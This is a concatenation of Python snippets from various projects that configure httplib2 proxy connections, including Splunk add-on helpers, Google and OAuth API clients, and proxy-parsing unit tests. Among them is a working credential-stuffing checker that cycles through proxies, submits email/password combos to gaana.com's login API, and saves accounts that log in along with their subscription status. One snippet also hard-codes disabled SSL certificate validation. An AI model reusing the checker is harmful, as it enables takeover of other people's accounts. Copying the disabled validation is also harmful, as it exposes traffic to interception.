def build_http_connection(config, timeout=120, disable_ssl_validation=False): """ :config: dict like, proxy and account information are in the following format { "username": xx, "password": yy, "proxy_url": zz, "proxy_port": aa, "proxy_username": bb, "proxy_password": cc, "proxy_type": http,http_no_tunnel,sock4,sock5, "proxy_rdns": 0 or 1, } :return: Http2.Http object """ proxy_type_to_code = { "http": socks.PROXY_TYPE_HTTP, "http_no_tunnel": socks.PROXY_TYPE_HTTP_NO_TUNNEL, "socks4": socks.PROXY_TYPE_SOCKS4, "socks5": socks.PROXY_TYPE_SOCKS5, } if config.get("proxy_type") in proxy_type_to_code: proxy_type = proxy_type_to_code[config["proxy_type"]] else: proxy_type = socks.PROXY_TYPE_HTTP rdns = scu.is_true(config.get("proxy_rdns")) proxy_info = None if config.get("proxy_url") and config.get("proxy_port"): if config.get("proxy_username") and config.get("proxy_password"): proxy_info = ProxyInfo(proxy_type=proxy_type, proxy_host=config["proxy_url"], proxy_port=int(config["proxy_port"]), proxy_user=config["proxy_username"], proxy_pass=config["proxy_password"], proxy_rdns=rdns) else: proxy_info = ProxyInfo(proxy_type=proxy_type, proxy_host=config["proxy_url"], proxy_port=int(config["proxy_port"]), proxy_rdns=rdns) if proxy_info: # Creating Http object from httplib2shim library which is a wrapper over httplib2 library. This code is added since # the configuration of inputs failed when proxy is enabled on the instance. http = httplib2shim.Http( proxy_info=proxy_info, timeout=timeout, disable_ssl_certificate_validation=disable_ssl_validation) else: # Creating Http object from httplib2shim library which is a wrapper over httplib2 library. This code is added since # the configuration of inputs failed when proxy is enabled on the instance. http = httplib2shim.Http( timeout=timeout, disable_ssl_certificate_validation=disable_ssl_validation) if config.get("username") and config.get("password"): http.add_credentials(config["username"], config["password"]) return http
def build_http_connection(config, timeout=120): """ @config: dict like, proxy and account information are in the following format { "username": xx, "password": yy, "proxy_url": zz, "proxy_port": aa, "proxy_username": bb, "proxy_password": cc, } @return: Http2.Http object """ proxy_info = None if config.get("proxy_url") and config.get("proxy_port"): if config.get("proxy_username") and config.get("proxy_password"): proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host=config["proxy_url"], proxy_port=config["proxy_port"], proxy_user=config["proxy_username"], proxy_pass=config["proxy_password"]) else: proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host=config["proxy_url"], proxy_port=config["proxy_port"]) http = Http(proxy_info=proxy_info, timeout=timeout, disable_ssl_certificate_validation=True) if config.get("username") and config.get("password"): http.add_credentials(config["username"], config["password"]) return http
def build_http_connection(config, timeout=120, disable_ssl_validation=False): """ :config: dict like, proxy and account information are in the following format { "username": xx, "password": yy, "proxy_url": zz, "proxy_port": aa, "proxy_username": bb, "proxy_password": cc, "proxy_type": http,http_no_tunnel,sock4,sock5, "proxy_rdns": 0 or 1, } :return: Http2.Http object """ proxy_type_to_code = { "http": socks.PROXY_TYPE_HTTP, "http_no_tunnel": socks.PROXY_TYPE_HTTP_NO_TUNNEL, "socks4": socks.PROXY_TYPE_SOCKS4, "socks5": socks.PROXY_TYPE_SOCKS5, } if config.get("proxy_type") in proxy_type_to_code: proxy_type = proxy_type_to_code[config["proxy_type"]] else: proxy_type = socks.PROXY_TYPE_HTTP rdns = scu.is_true(config.get("proxy_rdns")) proxy_info = None if config.get("proxy_url") and config.get("proxy_port"): if config.get("proxy_username") and config.get("proxy_password"): proxy_info = ProxyInfo( proxy_type=proxy_type, proxy_host=config["proxy_url"], proxy_port=int(config["proxy_port"]), proxy_user=config["proxy_username"], proxy_pass=config["proxy_password"], proxy_rdns=rdns, ) else: proxy_info = ProxyInfo( proxy_type=proxy_type, proxy_host=config["proxy_url"], proxy_port=int(config["proxy_port"]), proxy_rdns=rdns, ) if proxy_info: http = Http( proxy_info=proxy_info, timeout=timeout, disable_ssl_certificate_validation=disable_ssl_validation, ) else: http = Http(timeout=timeout, disable_ssl_certificate_validation=disable_ssl_validation) if config.get("username") and config.get("password"): http.add_credentials(config["username"], config["password"]) return http
def _initHttpClient(): if conf.GOOGLE_PROXY: proxy_str = conf.GOOGLE_PROXY elif ConfigFileParser().GoogleProxy(): proxy_str = ConfigFileParser().GoogleProxy() else: proxy_str = None if not proxy_str: return Http() msg = 'Proxy: %s' % proxy_str outputscreen.info(msg) proxy = proxy_str.strip().split(' ') if len(proxy) != 3: msg = 'SyntaxError in GoogleProxy string, Please check your args or config file.' sys.exit(outputscreen.error(msg)) if proxy[0].lower() == 'http': type = PROXY_TYPE.HTTP elif proxy[0].lower() == 'sock5': type = PROXY_TYPE.SOCKS5 elif proxy[0].lower() == 'sock4': type = PROXY_TYPE.SOCKS4 else: msg = 'Invalid proxy-type in GoogleProxy string, Please check your args or config file.' sys.exit(outputscreen.error(msg)) try: port = int(proxy[2]) except ValueError: msg = 'Invalid port in GoogleProxy string, Please check your args or config file.' sys.exit(outputscreen.error(msg)) else: http_client = Http(proxy_info=ProxyInfo(type, proxy[1], port)) return http_client
def __init__(self, consumer_key, consumer_secret="", oauth_token="", oauth_secret="", host="https://api.tumblr.com", proxy_url=None): self.host = host self.consumer = oauth.Consumer(key=consumer_key, secret=consumer_secret) self.token = oauth.Token(key=oauth_token, secret=oauth_secret) self.proxy_url = proxy_url if proxy_url: print("Generating Proxy From proxy_url") self.proxy_info = httplib2.proxy_info_from_url( "https://" + proxy_url, 'http') self.proxy_info.proxy_rdns = True # uri = urlparse(proxy_url) # self.proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP,uri.hostname,uri.port,proxy_rdns=True) else: print("Generating proxy from ENV") proxy_url = os.environ.get('HTTPS_PROXY', None) if proxy_url: uri = urlparse(proxy_url) self.proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP, uri.hostname, uri.port, proxy_rdns=True) else: self.proxy_info = None
def reauth(self,proxy=None): # Setting Proxy if proxy: proxy_part = parse.urlparse(proxy) method = socks.PROXY_TYPE_SOCKS5 if proxy_part.scheme == 'socks5': method = socks.PROXY_TYPE_SOCKS5 elif proxy_part.scheme == 'http': method = socks.PROXY_TYPE_HTTP elif proxy_part.scheme == 'socks4': method = socks.PROXY_TYPE_SOCKS4 proxy_info=ProxyInfo(method, proxy_part.hostname, proxy_part.port, proxy_user = proxy_part.username, proxy_pass = proxy_part.password ) httpclient = Http(proxy_info=proxy_info) else: httpclient = Http() # Set up the Drive v3 API SCOPES = ["https://www.googleapis.com/auth/drive"] store = file.Storage('credentials.json') credentials = store.get() if not credentials or credentials.invalid: try: flow = client.flow_from_clientsecrets(GoogleAPI.CLIENT_SECRET, SCOPES) credentials = tools.run_flow(flow, store,http=httpclient) except ConnectionRefusedError: print("{!s} Make sure you've saved your OAuth credentials as {!s}".format( GoogleAPI.ERROR_OUTPUT, GoogleAPI.CLIENT_SECRET)) sys.exit( "If you've already done that, then run uds.py without any arguments first.") self.service = build('drive', 'v3', http=credentials.authorize(httpclient)) return self.service
def __google_search(self, sentence, **kwargs): http = None if self.__key_index < 0: return None elif self.__key_index > 0: proxy = self.proxies[self.__key_index - 1] http = Http(proxy_info=ProxyInfo(socks.PROXY_TYPE_HTTP, proxy_host=proxy[0], proxy_port=proxy[1])) g = build(serviceName="customsearch", version="v1", http=http, developerKey=self.__keys[self.__key_index]) q = ('"' + sentence + '"' if self.__quotes else sentence) q += (" site:" + self.__site if self.__site and len(self.__site) > 0 else "") try: response = g.cse().list(q=q, cx=self.__engine_id, **kwargs).execute() except HttpError: self.__key_index += 1 if self.__key_index >= len(self.__keys): self.__key_index = -1 response = self.__google_search(sentence, **kwargs) return response
def google_oauth2(): auth_code = request.args.get('code', None) if auth_code: credentials = flow.step2_exchange(code=auth_code, http=httplib2.Http(proxy_info=ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=1080))) http_auth = credentials.authorize(httplib2.Http(proxy_info=ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host='localhost', proxy_port=1080))) drive_service = build('drive', 'v2', http_auth) files = drive_service.files().list().execute() return json.dumps(files)
def __init__(self, config, proxy_cfg=None): self.config = config if proxy_cfg: proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP_NO_TUNNEL, proxy_cfg['host'], proxy_cfg['port']) else: proxy_info = None self.http = Http(proxy_info=proxy_info) self.client = None
def getProxyDetails(self): # Create confmanger object for the app with realm cfm = conf_manager.ConfManager(self.getSessionKey( ), "TA-lansweeper-add-on-for-splunk", realm="__REST_CREDENTIAL__#TA-lansweeper-add-on-for-splunk#configs/conf-ta_lansweeper_add_on_for_splunk_settings") # Get Conf object of apps settings conf = cfm.get_conf('ta_lansweeper_add_on_for_splunk_settings') # Get proxy stanza from the settings proxy_config = conf.get("proxy", True) if not proxy_config or not is_true(proxy_config.get('proxy_enabled')): logger.info('Proxy is not enabled') return None url = proxy_config.get('proxy_url') port = proxy_config.get('proxy_port') if url or port: if not url: raise ValueError('Proxy "url" must not be empty') if not self.is_valid_port(port): raise ValueError( 'Proxy "port" must be in range [1,65535]: %s' % port ) user = proxy_config.get('proxy_username') password = proxy_config.get('proxy_password') if not all((user, password)): logger.info('Proxy has no credentials found') user, password = None, None proxy_type = proxy_config.get('proxy_type') proxy_type = proxy_type.lower() if proxy_type else 'http' if proxy_type in _PROXY_TYPE_MAP: ptv = _PROXY_TYPE_MAP[proxy_type] elif proxy_type in _PROXY_TYPE_MAP.values(): ptv = proxy_type else: ptv = socks.PROXY_TYPE_HTTP logger.info('Proxy type not found, set to "HTTP"') rdns = is_true(proxy_config.get('proxy_rdns')) proxy_info = ProxyInfo( proxy_host=url, proxy_port=int(port), proxy_type=ptv, proxy_user=user, proxy_pass=password, proxy_rdns=rdns ) # logger.info(proxy_info) return proxy_info
def get_oauth_proxy(scheme): proxy = get_proxy_config(scheme) if proxy is None: return None proxy = urlparse.urlparse(proxy) return ProxyInfo( proxy_type=PROXY_TYPE_HTTP, proxy_host=proxy.hostname, proxy_port=proxy.port, proxy_user=proxy.username or None, proxy_pass=proxy.password or None, )
def createHttp(proxyHost=None, proxyPort=None, proxyUser=None, proxyPassword=None): proxyInfo = None if proxyHost: proxyInfo = ProxyInfo(3, proxyHost, proxyPort if proxyPort else 80, proxy_user=proxyUser, proxy_pass=proxyPassword) return Http(proxy_info=proxyInfo)
def __init__(self, consumer_key, consumer_secret, token_key, token_secret): consumer = Consumer(key=consumer_key, secret=consumer_secret) token = Token(key=token_key, secret=token_secret) proxy_info = None if hasattr(settings, 'PROXY_HOST') and \ hasattr(settings, 'PROXY_PORT'): proxy_info = ProxyInfo(proxy_type=PROXY_TYPE_HTTP, proxy_host=settings.PROXY_HOST, proxy_port=settings.PROXY_PORT) self.client = Client(consumer=consumer, token=token, proxy_info=proxy_info)
def get_data(domain): global tor, tor_port, tor_host if tor is True: opener = Http( proxy_info=ProxyInfo(PROXY_TYPE_SOCKS4, tor_host, tor_port, True)) else: opener = Http() data = urlencode({'key': '', 'remoteAddress': domain}) code, content = opener.request( 'http://domains.yougetsignal.com/domains.php', 'POST', data, { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' }) del opener return code, content
def __init__(self, config=None, proxy_config=None): self.config = config self.client = None if proxy_config and 'host' in proxy_config and 'port' in proxy_config: proxy_info = ProxyInfo(socks.PROXY_TYPE_HTTP_NO_TUNNEL, proxy_config['host'], proxy_config['port']) else: proxy_info = None self.http = Http(proxy_info=proxy_info) self.var_dir = self.config['var_dir'] self.history_id_f = join(self.var_dir, 'gmail_last_history_id') if exists(self.history_id_f): with open(self.history_id_f) as fh: logger.info('Loaded last gmail history id %d', int(fh.read())) else: # store an invalid id, which will get renewed on next push event self.save_last_history_id('1')
def _prepare_proxy_info(self, proxy): if not proxy or not proxy.enabled: _logger.debug('Proxy is not enabled') return None username = proxy.username \ if 'username' in proxy and proxy.username else None password = proxy.password \ if 'password' in proxy and proxy.password else None proxy_type = self._PROXY_TYPE.get(proxy.type) or self._PROXY_TYPE['http'] return ProxyInfo(proxy_host=proxy.host, proxy_port=int(proxy.port), proxy_type=proxy_type, proxy_user=username, proxy_pass=password, proxy_rdns=proxy.rdns)
def __init__(self, request): self.key = IS24_CONSUMER_KEY self.secret = IS24_COSUMER_SECRET p = ProxyInfo(socks.PROXY_TYPE_HTTP, "nokes.nokia.com", 8080) t = OauthToken.objects.get(username=request.user.username) self.consumer = oauth.Consumer(self.key, self.secret) self.token = oauth.Token(t.oauth_token, t.oauth_token_secret) self.headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'application/json' } if request.session.get('is24') == None: self.init_is24_settings(request) self.common_query_params = { "realEstateType": request.session['is24']['type'], "price": request.session['is24']['price_min'] + "-" + request.session['is24']['price_max'], "livingspace": request.session['is24']['space_min'] + "-" + request.session['is24']['space_max'], "numberofrooms": request.session['is24']['rooms_min'] + "-" + request.session['is24']['rooms_max'], "constructionyear": request.session['is24']['year_min'] + "-" + request.session['is24']['year_max'], "pagesize": 200, } if self.common_query_params['realEstateType'] == 'apartmentbuy': self.common_query_params['rented'] = request.session['is24'][ 'rented'] #self.client = oauth.Client(consumer=self.consumer, token=self.token, proxy_info=p) self.client = oauth.Client(consumer=self.consumer, token=self.token)
def __init__(self, config): self.config = config self.SCOPES = self.config["google_apps"]["api_scopes"] self.proxy_info = None if self.config["defaults"]["http_proxy"]["use_proxy"]: self._PROXY_HOST = self.config["defaults"]["http_proxy"][ "proxy_url"] self._PROXY_PORT = self.config["defaults"]["http_proxy"][ "proxy_port"] self._PROXY_USER = self.config["defaults"]["http_proxy"][ "proxy_user"] self._PROXY_PASS = self.config["defaults"]["http_proxy"][ "proxy_pass"] self.proxy_info = ProxyInfo(proxy_type=socks.PROXY_TYPE_HTTP, proxy_host=self._PROXY_HOST, proxy_port=self._PROXY_PORT, proxy_user=self._PROXY_USER, proxy_pass=self._PROXY_PASS) self.credentials = self._get_credentials()
def get_proxy_info(proxy_config): if not proxy_config or not is_true(proxy_config.get('proxy_enabled')): _logger.info('Proxy is not enabled') return None url = proxy_config.get('proxy_url') port = proxy_config.get('proxy_port') if url or port: if not url: raise ValueError('Proxy "url" must not be empty') if not util.is_valid_port(port): raise ValueError('Proxy "port" must be in range [1,65535]: %s' % port) user = proxy_config.get('proxy_username') password = proxy_config.get('proxy_password') if not all((user, password)): _logger.info('Proxy has no credentials found') user, password = None, None proxy_type = proxy_config.get('proxy_type') proxy_type = proxy_type.lower() if proxy_type else 'http' if proxy_type in _PROXY_TYPE_MAP: ptv = _PROXY_TYPE_MAP[proxy_type] elif proxy_type in list(_PROXY_TYPE_MAP.values()): ptv = proxy_type else: ptv = socks.PROXY_TYPE_HTTP _logger.info('Proxy type not found, set to "HTTP"') rdns = is_true(proxy_config.get('proxy_rdns')) proxy_info = ProxyInfo(proxy_host=url, proxy_port=int(port), proxy_type=ptv, proxy_user=user, proxy_pass=password, proxy_rdns=rdns) return proxy_info
def getlist(self, channel_id): # 如下是代理设置 if config['useProxy']: ipaddress = config['ipaddress'].split(':')[1][2:] ipport = int(config['ipaddress'].split(':')[2]) proxy_info = ProxyInfo(socks.PROXY_TYPE_SOCKS5, ipaddress, ipport) http = Http(timeout=300, proxy_info=proxy_info) else: http = Http(timeout=300) # 构建youtube对象时增加http参数 youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=YOUTUBE_DEVELOPER_KEY, http=http) result = youtube.search().list( part='snippet,id', channelId=channel_id, order='date', maxResults=20 ).execute() global channel_result channel_result = result
def test_proxy_info(self): """ Running this test assumes that a proxy is running at localhost:1080. To start a proxy run: ssh -N -D 0.0.0.0:1080 localhost """ from papyrus_ogcproxy import views from papyrus_ogcproxy.views import ogcproxy from pyramid.testing import DummyRequest from httplib2 import ProxyInfo import socks views.allowed_hosts = ('www.google.com') views.proxy_info = ProxyInfo(socks.SOCKS5, 'localhost', 1080) request = DummyRequest(scheme='http', params={'url': 'http://www.google.com'}) response = ogcproxy(request) from pyramid.response import Response self.assertTrue(isinstance(response, Response)) self.assertEqual(response.status_int, 200) self.assertEqual(response.content_type, 'text/html')
def _initHttpClient(): if conf.google_proxy: proxy_str = conf.google_proxy elif ConfigFileParser().google_proxy(): proxy_str = ConfigFileParser().google_proxy() else: proxy_str = None if not proxy_str: return Http() msg = 'Proxy: %s' % proxy_str colorprint.white(msg) proxy = proxy_str.strip().split(' ') if len(proxy) != 3: msg = '[-] SyntaxError in GoogleProxy string, Please check your args or config file.' colorprint.red(msg) sys.exit() if proxy[0].lower() == 'http': type = PROXY_TYPE.HTTP elif proxy[0].lower() == 'sock5': type = PROXY_TYPE.SOCKS5 elif proxy[0].lower() == 'sock4': type = PROXY_TYPE.SOCKS4 else: msg = '[-] Invalid proxy-type in GoogleProxy string, Please check your args or config file.' colorprint.red(msg) sys.exit() try: port = int(proxy[2]) except ValueError: msg = '[-] Invalid port in GoogleProxy string, Please check your args or config file.' colorprint.red(msg) sys.exit() else: http_client = Http(proxy_info=ProxyInfo(type, proxy[1], port)) return http_client
def test_proxy_from_env_https_with_port(self): with mock.patch.dict(os.environ, https_proxy='https://localhost:9000'): proxy_info = proxy_info_from_environment_var('https_proxy') expected = ProxyInfo(3, 'localhost', 9000) self.assertEqual(str(expected), str(proxy_info))
def test_proxy_from_env_wrong_method_in_url(self): os.environ['http_proxy'] = 'smtp://localhost:8000' proxy_info = proxy_info_from_environment_var('http_proxy') expected = ProxyInfo(3, 'smtp', 80) # wrong proxy info generated self.assertEquals(str(expected), str(proxy_info))
def test_get_new_http_proxy_info(self): os.environ['http_proxy'] = 'localhost' http = get_new_http() expected = ProxyInfo(3, 'localhost', 80) self.assertEquals(str(http.proxy_info), str(expected))
except os_error: out('file not deleted exiting...', 1) outfile = argv[index + 1] else: outfile = argv[index + 1] elif data == '-f' and len(argv) <= index + 1: out('-f argument require a statement exiting...', 1) if data == '-tor': tor = True elif data != '-tor' and 'tor' not in locals(): tor = False if tor is True: try: code, returndata = Http( proxy_info=ProxyInfo(PROXY_TYPE_SOCKS4, tor_host, tor_port, True) ).request('https://check.torproject.org/api/ip') if code.status == 200: tor_data = loads(returndata) if tor_data['IsTor'] is False: out('we are not using tor exiting...', 1) else: out('tor check successful...', 3) else: raise HttpLib2Error except HttpLib2Error: out('error in tor check routine exiting...', 1) domain = str(argv[1]) try: ip = resolve_host(domain)
def run(self): while True: proxy_num = select_proxy() proxy = proxy_list[proxy_num] try: temp = 0 global start_count if start_count >= len(combos): break http = Http( proxy_info=ProxyInfo(proxy_host=str(proxy["proxy"]), proxy_port=int(proxy["port"]), proxy_type=proxy["type"], proxy_user=proxy["user"], proxy_pass=proxy["pass"])) headers = { "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://gaana.com", "Referer": "https://gaana.com/login", "User-Agent": "Mozilla/5.0 (Linux; U; Android 5.1.1; LGM-V300K Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Mobile Safari/537.36" } csrf_res, csrf_con = http.request( "https://gaana.com/api/csrf-token", method="POST", body="set=csrf", headers=headers) csrf = "" headers = { "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://gaana.com", "Referer": "https://gaana.com/login", "User-Agent": "Mozilla/5.0 (Linux; U; Android 5.1.1; LGM-V300K Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Mobile Safari/537.36", "Cookie": csrf_res["set-cookie"] + "; __g_l=1" } for i in range(0, 5): if start_count >= len(combos): temp = 1 break with lock: k = start_count start_count += 1 print(start_count) combo = combos[k] csrf = csrf or csrf_con.decode( encoding="UTF-8").strip("\"") #print(csrf) body = "client_id=&csrf=" + csrf + "&email=" + combo[ "email"] + "&password="******"password"] + "&redirect_uri=&response_type=&scope=&source=&state=&urlChecker:false" res, cont = http.request("https://gaana.com/api/login", method="POST", body=body, headers=headers) cont = json.loads(cont.decode(encoding="UTF-8")) if "status" in cont.keys() and "csrf" in cont.keys(): if cont["status"] == "success": if cont["token"]: headers["Cookie"] = res["set-cookie"].split(",")[0].split(";")[0] + ";" + \ res["set-cookie"].split(",")[2].split(";")[0] headers[ "Referer"] = "https://gaana.com/profile" body = "profile=profile" res, cont = http.request( "https://gaana.com/api/user-profile", method="POST", body=body, headers=headers) cont = json.loads( cont.decode(encoding="UTF-8")) print(combo, "Expires On: ", cont["subscriptionStatus"]["validupto"]) combo["expireOn"] = cont["subscriptionStatus"][ "validupto"] verified.append(combo) #with lock: with open(str(k) + ".json", "w") as a: #f.write("\n") json.dump(combo, a) else: print(combo, " Free") combo["expireOn"] = "Free" verified.append(combo) #with lock: with open("Free-" + str(k) + ".json", "w") as a: #f.write("\n") json.dump(combo, a) break else: csrf = cont["csrf"] else: #with lock: with open("error" + str(k) + ".txt", "w") as a: a.write( str(a) + str(proxy["user"]) + " " + str(proxy["combo"]) + " Cont=" + str(cont)) #print(cont) break del http except Exception as a: #print(a) inc_count(proxy_num) continue if temp == 1: break
def test_proxy_from_env_https_without_port_without_method(self): with mock.patch.dict(os.environ, https_proxy='localhost'): proxy_info = proxy_info_from_environment_var('https_proxy') expected = ProxyInfo(3, 'localhost', 443) self.assertEqual(str(expected), str(proxy_info))
def test_proxy_from_env_wrong_method_in_url(self): with mock.patch.dict(os.environ, http_proxy='smtp://localhost:8000'): proxy_info = proxy_info_from_environment_var('http_proxy') expected = ProxyInfo(3, 'smtp', 80) # wrong proxy info generated self.assertEqual(str(expected), str(proxy_info))
def test_get_new_http_proxy_info(self): with mock.patch.dict(os.environ, http_proxy='localhost'): http = get_new_http() expected = ProxyInfo(3, 'localhost', 80) self.assertEqual(str(http.proxy_info), str(expected))